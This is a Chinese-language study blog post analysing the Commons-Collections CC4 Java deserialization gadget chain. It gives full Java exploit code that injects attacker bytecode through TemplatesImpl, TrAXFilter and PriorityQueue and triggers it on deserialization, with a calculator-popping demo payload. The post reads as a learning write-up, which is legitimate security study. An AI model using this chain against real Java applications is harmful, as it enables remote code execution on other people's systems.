Java反序列化Commons-Collections篇-CC4链

Java反序列化Commons-Collections篇-CC4链

在Commons Collection 3.2.2及以后的版本中,官方修复了反序列化漏洞 ,修复方式也非常简单,修复方法非常简单粗暴:将InvokerTransfoemer类的implements Serializable 声明移除了。

这样子的结果就是InvokerTransformer 无法被序列化,更不能作为反序列化利用链的一部分被传输和重构。

由于InvokerTransform对象本身无法参与序列化/反序列化过程,所以可以通过其他非反序列化的方法(比如在内存中直接new一个)得到一个InvokerTransformer实例,通过这种方式进行命令执行。

思路一句话总结:我们不在反序列化流中直接传输恶意的InvokerTransformefer实例,而是传输一个能在反序列化过程中“帮我们创建”这个实例的对象。

CC4链分析

由于InvokerTransformer不能被序列化了,所以我们要new一个InvokerTransformer,再调用它的transform方法。然后通过其他函数的反序列化触发这一过程。

查找transform,然后我们就发现在 InstantiateTransformer的transform中可以实现这一过程。

1757412840038-fabe5401-48ad-43c9-b0fc-81647ea63be3.png

继续查找到TransformingComparator.compare

1757413290521-782e89d2-a3ad-46e6-b0cc-795726efdf23.png

在 PriorityQueue类中找到

1757413640298-aa9cfe79-95c0-4303-a040-4bc48af953d6.png

1757413672350-13054bd6-cfea-4201-bffd-916b94e6109c.png

1757413686791-a4c67ed1-3316-454e-9f31-7ece0a758a06.png

1757423941192-1ca18b5e-6629-4c8b-bfd3-8a6f745d73a3.png

编写exp


public class CC4 {
    public static void main(String[]arge)throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        Class<TemplatesImpl> c = TemplatesImpl.class;
        Field bytecode = c.getDeclaredField("_bytecodes");
        bytecode.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
        byte[][]code={eval};
        bytecode.set(templates,code);

        Field name=c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field tfactory =c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

//        Transformer[] transformers={
//                new ConstantTransformer(TrAXFilter.class),
//                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
       };

    



        
    }

}

1757590437674-1759c24d-937d-47e2-a694-a32aa8269792.png

根据此图继续向下编写链子


public class CC4 {
    public static void main(String[]arge)throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        Class<TemplatesImpl> c = TemplatesImpl.class;
        Field bytecode = c.getDeclaredField("_bytecodes");
        bytecode.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
        byte[][]code={eval};
        bytecode.set(templates,code);

        Field name=c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field tfactory =c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        Transformer[] transformers={
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);

        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);

        serialize(priorityQueue);
        unserialize("ser.bin");



    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);

    }

    public  static  Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        ois.readObject();
        return  ois;
    }

}

但是到这里并没有发现弹计算器,debug尝试

1757590937023-c744b2b5-4a2c-4f7d-a366-4fea2a27a2af.png

由于这里的size=0,那么i就会为-1,不满足i>=0的条件,那我们就要修改size的值,让其不为0,由于这里size>>>1,无符号右移1位,等价于size/2,所以这里要让size至少等于2。

首先找一下size是什么,这里可以看到size就是PriorityQueue这个队列的长度

1757591811221-4e5c63c9-6eca-4340-ae4a-446d081857b8.png

用add函数随便增加两个队列

1757592066043-36e5b7d1-f1f5-45ff-8483-9072eb76bdca.png

这里看到就可以弹出计算器了。

触发点延后到反序列化阶段

1757595577742-503d3cad-7abc-4321-b339-399740a2d4fc.png

调试的时候发现计算器在priorityQueue.add(1);的时候就跳出了,然后发现这里已经进入了InstantiateTransformer.transform方法。

看看发生了什么,查看代码发现这里的add经过一系列的调用最终还是触发了compare代码

然后这里会检验_tfactory的值是否为空,而这个值是在反序列化的时候才被初始化的,所以这里就报错了。

所以这里要先创建一个无害的TransformingComparator,然后在反序列化之前再利用反射将恶意代码注入,就能将恶意代码的触发点从序列化阶段延迟到反序列化阶段。

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[]arge)throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        Class<TemplatesImpl> c = TemplatesImpl.class;
        Field bytecode = c.getDeclaredField("_bytecodes");
        bytecode.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
        byte[][]code={eval};
        bytecode.set(templates,code);

        Field name=c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field tfactory =c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        Transformer[] transformers={
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
        //创建一个 无害的 TransformingComparator
        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(1);

        Class cl = transformingComparator.getClass();
        Field transformingField = cl.getDeclaredField("transformer");
        transformingField.setAccessible(true);
        transformingField.set(transformingComparator, chainedTransformer);

        //利用反射,注入恶意 ChainedTransformer
        serialize(priorityQueue);
        unserialize("ser.bin");



    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);

    }

    public  static  Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        ois.readObject();
        return  ois;
    }

}

最终exp

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[]arge)throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        Class<TemplatesImpl> c = TemplatesImpl.class;
        Field bytecode = c.getDeclaredField("_bytecodes");
        bytecode.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
        byte[][]code={eval};
        bytecode.set(templates,code);

        Field name=c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field tfactory =c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        Transformer[] transformers={
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
        //创建一个 无害的 TransformingComparator
        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(1);

        Class cl = transformingComparator.getClass();
        Field transformingField = cl.getDeclaredField("transformer");
        transformingField.setAccessible(true);
        transformingField.set(transformingComparator, chainedTransformer);

        //利用反射,注入恶意 ChainedTransformer
        serialize(priorityQueue);
        unserialize("ser.bin");



    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);

    }

    public  static  Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        ois.readObject();
        return  ois;
    }

}

总结

CC4链

1757599462415-8ac788ac-b96e-49be-a5cf-aece92cbaa52.png

更新: 2025-09-11 22:05:33
原文: https://www.yuque.com/cindahy/ukztx0/gwviaubo4sn7d5ig

评论